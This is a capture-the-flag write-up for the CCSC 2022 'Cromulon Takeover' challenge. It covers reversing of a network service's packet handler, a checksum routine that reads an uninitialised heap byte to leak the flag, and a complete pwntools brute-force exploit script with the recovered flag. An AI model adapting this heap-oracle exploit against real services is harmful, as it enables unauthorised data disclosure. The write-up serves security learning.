CCSC 2022 - Writeup - Cromulon Takeover

ccsc2022

Overview

This was my favourite challenge in the CCSC CTF competition, as the vulnerability was something new and different (at least for me) compared to previous challenges I’ve done. This writeup will go through my thought process while this challenge.

TLDR

The checksum algorithm works on 16bit values and when provided with an odd number of bytes takes the next byte in memory into the calculation, which we can control to be any byte from the flag. Using one of the service’s functionalities we can determine if the checksums match. The exploit consists of a character by character bruteforce of the flag based on this checksum vulnerability. The exploit script can be found at the end of the post.

0. The Challenge

This challenge was classified as reverse and pwn with a hard difficulty. At the end of the competition it only had my one solve and was worth 1000 points.

Rick is trying to build a server to let people send their songs to the 
Cromulons. If they really like your song, they might even reward you with
a part of the flag. Make sure the checksum of your packets is correct 
though, you definitely don't wanna anger the Cromulons! I heard they are
so powerful they can make your brain leak out of your ears...

The file provided in the challenge can be found on GitHub, here.

1. Exploring The Challenge

We are given an ELF 64-bit binary that upon running checksec we can see that it has all the standard security features enabled (Full RELRO, Stack Canary, NX and PIE). When running the binary locally we get a usage message indicating that we should should provide a port number as argv[1].

If we run the binary as intended and connect with netcat to localhost, at first glance nothing happens. If we send some random text to the program we will get back some non-printable characters. Looking at the server binary we run we may see a line saying Error while receiving data, so we can conclude that we have to reverse some kind of structured data format.

2. Static Analysis

Since the binary wasn’t stripped and was dynamically linked, we had a lot of information about the binary thus making the reversing much easier. Because of this, I was able to skip the boilerplate code the waits for a connection and creates a thread to handle it when one comes in, and went straight to the handle_client function which is the code that we as the user interact with. For ease of reversing I create a data structure in for the packet to make it easier to reverse and see what’s going on. The packet structure and code are shown below.

void handle_client(int *fd) {
  while( true ) {
    do {
      iVar2 = recv_all(fd_00,(char *)&packet,6);
      size = packet.header.size;
    } while (iVar2 == 0);
    if (iVar2 != 6) break;
    uVar3 = recv_all(fd_00,(char *)&packet.data,(uint)packet.header.size);
    if (uVar3 != size) {
      perror("Error while receiving data");
      goto LAB_555555555fbf;
    }
    inputData = (packet *)malloc((long)(int)(size + 6));
    memcpy(inputData,&packet,(long)(int)(size + 6));
    uVar4 = validate_checksum((ushort *)inputData,size);
    if ((int)uVar4 < 0) {
      iVar2 = send_hdr_packet(fd_00,0x30);
      if (iVar2 < 0) goto LAB_555555555fbf;
      free(inputData);
    }
    else {
      uVar1 = ntohs(packet.header.command);
      if (uVar1 == 0x50) {
        uVar4 = echo_back(inputData,fd_00);
        iVar2 = (int)uVar4;
joined_r0x555555555f8e:
        if (iVar2 < 0) goto LAB_555555555fbf;
      }
      else {
        if (uVar1 == 0x80) {
          iVar2 = get_flag((long)inputData,fd_00);
          goto joined_r0x555555555f8e;
        }
        send_hdr_packet(fd_00,0x32);
      }
      free(inputData);
    }
  }
  perror("Error while receiving data");
LAB_555555555fbf:
  close(fd_00);
                    /* WARNING: Subroutine does not return */
  pthread_exit((void *)0x0);
}

Reading the code from top to bottom we can see that initially it just reads 6 bytes from the socket which we assumed to be some kind of header. Then it receives the rest of the packet based on the size field in the header. Then after allocating and copying our data on to the heap, it computes the checksum and compares it to a field in out header. The only important thing that will come up later in the challenge is that it computes it by taking 2 byte chunks of data at a time.

ushort calculate_checksum(ushort *data,byte size) {
  long in_FS_OFFSET;
  bool bVar1;
  byte b;
  ushort a;
  uint i;
  ushort *current;
  
  a = 0;
  b = 0;
  current = data;
  for (i = (uint)size; 0 < (int)i; i = i - 2) {
    bVar1 = CARRY2(a,*current);
    a = a + *current;
    if (bVar1) {
      b = b + 1;
    }
    current = current + 1;
  }
  return -(a + b)
}

This concludes the packet reception part of the code. The next part processes the data based on the op-code (command) we send in the header. There are two functionallities ECHO_BACK and GET_FLAG.

Starting with the most interesting one, GET_FLAG takes in an argument (multiplier) from the header and exactly 16 bytes worth of data. It uses the argument (n) to put the n’th character of the flag on the heap 32 times. If the data we provided matches 16 random bytes from taken from the getrandom function, which in turn takes them from /dev/urandom then it sends us the data it prepared on the heap (32 times of the nth character). But it was obvious that we could never predict the correct password to get the flag that way.

int get_flag(long data,int fd) {
  multiplier = *(byte *)(data + 2);
  if (0x1f < multiplier) {
    iVar1 = send_hdr_packet(fd,0x33);
    if (iVar1 < 0) {
      local_48 = -1;
      goto LAB_555555555a36;
    }
  }
  iVar1 = getrandom(random_bytes,0x10,0);
  if (iVar1 < 0) {
    perror("getrandom");
    local_48 = -1;
  }
  else {
    __ptr = (char *)malloc(0x20);
    if (__ptr == (char *)0x0) {
      perror("Malloc error");
      local_48 = -1;
    }
    else {
      for (i = 0; i < 0x20; i = i + 1) {
        memcpy(__ptr + i,"CCSC{redactedredactedredactedre}" + (int)(uint)multiplier,1);
      }
      multiplier = check_passphrase(random_bytes,(char *)(data + 6),*(char *)(data + 3));
      if ((int)CONCAT71(extraout_var,multiplier) == 1) {
        local_48 = send_letter(fd,__ptr);
      }
      else {
        local_48 = send_hdr_packet(fd,0x31);
      }
      free(__ptr);
    }
  }
}

So moving on to the ECHO_BACK functionality we can see that again it is very simple. It takes our input and gives us back our input printed n many times based on the multiplier in the packet’s header. It allocates memory on the heap accounting for all bytes correctly and sends us back a packet with the data being the multiplied input. The only issue found here is that since the size field on the header is only a single byte sometimes it may return less data as inteded if we set the multiplier argument to be too high. Although this is a logical fault in the application that does not get accounted for there is no way to print more data than inteded to get the flag.

int echo_back(packet *inputData,int fd) {
                    /* uint */
  mainDataSize = (uint)(inputData->header).size;
                    /* int */
  iVar3 = (inputData->header).multiplier * mainDataSize;
  newDataSize = iVar3 + 0x30;
  sendData = (packet *)malloc((long)newDataSize);
  if (sendData == (packet *)0x0) {
    perror("Malloc error");
    ret = 0xffffffff;
  }
  else {
    memset(sendData,0,(long)newDataSize);
    uVar1 = htons(0x50);
    (sendData->header).command = uVar1;
    (sendData->header).size = (char)iVar3 + 0x2a;
    (sendData->header).multiplier = 0;
    uVar2 = calculate_checksum((ushort *)sendData,(byte)newDataSize);
    (sendData->header).cs = uVar2;
    memcpy(&sendData->data,"The Cromulons said: Show me what you got! ",0x2a);
    for (i = 0; i < iVar3; i = i + mainDataSize) {
      memcpy((void *)((long)&sendData[3].data + (long)i),&inputData->data,(long)(int)mainDataSize);
    }
    iVar3 = send_all(fd,(char *)sendData,newDataSize);
    if (newDataSize == iVar3) {
      free(sendData);
      ret = 0;
    }
    else {
      perror("send_all()");
      free(sendData);
      ret = 0xffffffff;
    }
  }
  return ret;
}

3. The Vulnerability

I couldn’t find the vulnerability just by static analysis alone, so using a python script to interface with the service I’ve started interacting with it to get a hands on feel on how it works. So after playing with the service for some time I discovered that with certain inputs the echo back functionality was returning an invalid checksum error. After looking more into the checksum algorith and the heap memory I discovered the issue. When sending it an odd number of byte it tries to compute the checksum using one extra byte that we didn’t send and that wasn’t a NULL byte like it should have. So if that extra byte was anything else other than NULL the checksum calculation would be off.

Now going back to the GET_FLAG functionality we know that we can put any byte of the flag in free chunk on the heap. So, by getting the flag even if we can’t guess the password the flag byte will still be on the heap which will be then taken into account during the checksum calculation, thus giving us the ability to check what the next byte on the heap (the flag byte) is.

4. Exploitation

The exploit is implemented as described in the vulnerability section, with the only tricky part being that we have to make sure the chunk allocated for our packet is the same size as the one allocated from the GET_FLAG functionality.

#!/usr/bin/python3
from pwn import *
import time
import struct
import string

context.terminal = ['tmux', 'splitw', '-v']
context.arch = 'amd64'

binary = './chall_redacted'
elf = ELF(binary)

ssh_en = False
if args.R:
	host = '192.168.125.11'
	port = 7337

	if ssh_en:
	    user = ''
	    password = ''
	    r = ssh(user=user, host=host, port=port, password=password)


def start():
	if args.R:
	    if not ssh_en: return remote(host, port)
	    else: return r.process(binary, cwd='/problems/leap-frog_1_2944cde4843abb6dfd6afa31b00c703c')

	else:
	    gs = '''
        br _start
        c
	    init-pwndbg
        set follow-exec-mode new
        set follow-fork-mode child
        br *0x555555556047
	    c
        thread 2

        delete
        br *0x5555555555f7
        br *0x555555555b30
        # br *0x5555555559e8
        c
	    '''
	    if args.GDB: return gdb.debug([elf.path, "7337"], gs)
	    else: return process([elf.path, "7337"])

def one_gadget(filename, base_addr=0):
  return [(int(i)+base_addr) for i in subprocess.check_output(['one_gadget', '--raw', filename]).decode().split(' ')]

def log_addr(name, addr):
    log.info('{}: 0x{:x}'.format(name, addr))

if not args.R:
    io = start()

sl = lambda x : io.sendline(x)
sla = lambda x, y : io.sendlineafter(x, y)
se = lambda x : io.send(x)
sa = lambda x, y : io.sendafter(x, y)
ru = lambda x : io.recvuntil(x)
rl = lambda : io.recvline()
cl = lambda : io.clean()
uu64 = lambda x : u64(x.ljust(8, b'\x00'))
uu16 = lambda x : u16(x.ljust(2, b'\x00'))

FLAG_PACKET = 0x80
ECHO_PACKET = 0x50
CHECKSUM_FAILED = 0x30

def calculateChecksum(data):
    size = len(data) & 0xff

    a = 0
    b = 0
    for i in range(0, size, 2):
        val1 = uu16(data[i:i+2])
        a = (a + val1)

        if (a != a & 0xffff):
            b += 1

        a = a & 0xffff

    cs = ~(a + b) & 0xffff
    return cs

def constructPacket(operation, multiplier, mainData, size=-1):
    assert len(mainData) <= 0xff
    assert multiplier <= 0xff

    if size == -1: size = len(mainData)

    data = bytearray()
    data += struct.pack(">H", operation)
    data += p8(multiplier)
    data += p8(size)
    data += p16(calculateChecksum(data + p16(0) + mainData))
    data += mainData

    return data

def recvData():
    ret_data = cl()

    operation_ret = struct.unpack(">H", ret_data[:2])[0]
    multiplier_ret = ret_data[2]
    size_ret = ret_data[3]
    cs_ret = struct.unpack(">H", ret_data[4:6])[0]
    data_ret = bytearray(ret_data[6:])

    return (operation_ret, multiplier_ret, size_ret, cs_ret, data_ret)

def smartDelay(waitForEnter):
    if args.R: time.sleep(0.5)
    elif (waitForEnter and args.GDB): pause()

def sendPacket(operation, multiplier, mainData, size=-1, waitForEnter=False):
    payload = constructPacket(operation, multiplier, mainData, size)

    se(payload)
    smartDelay(waitForEnter)

    return recvData()

def sendPacketOracle(testChar, size):
    mainData = b'A'*size

    payload = bytearray()
    payload += struct.pack(">H", ECHO_PACKET)
    payload += p8(0)
    payload += p8(size)
    payload += p16(calculateChecksum(payload + p16(0) + mainData + testChar))
    payload += mainData

    se(payload)
    smartDelay(False)

    return b'The Cromulons said' in recvData()[4]

def log_data(data):
    (operation_ret, multiplier_ret, size_ret, cs_ret, data_ret) = data
    print(f"cmd=0x{operation_ret:x}\tmultiplier=0x{multiplier_ret:x}\tsize=0x{size_ret:x}\tcs=0x{cs_ret:x}\n{data_ret}")

letterlist = ('{}_!' + string.digits + string.ascii_lowercase + string.ascii_uppercase)

flag = bytearray(b'')

context.log_level = 'CRITICAL'

found = False
while not found:
    for letter in letterlist:
        if not args.R:
            io = remote('localhost', 7337)
        else:
            io = start()

        (sendPacket(FLAG_PACKET, len(flag), b'B'*0x28))

        letter = letter.encode('latin1')

        if (sendPacketOracle(letter, 0x15)):
            flag += letter
            print(f'Flag: {flag.decode("latin1")}')

            if letter == b'}': found = True

            break

print(f'Flag: {flag.decode("latin1")}')

# CCSC{r1ck_f0rg0t_t0_p4d_ag41n!!}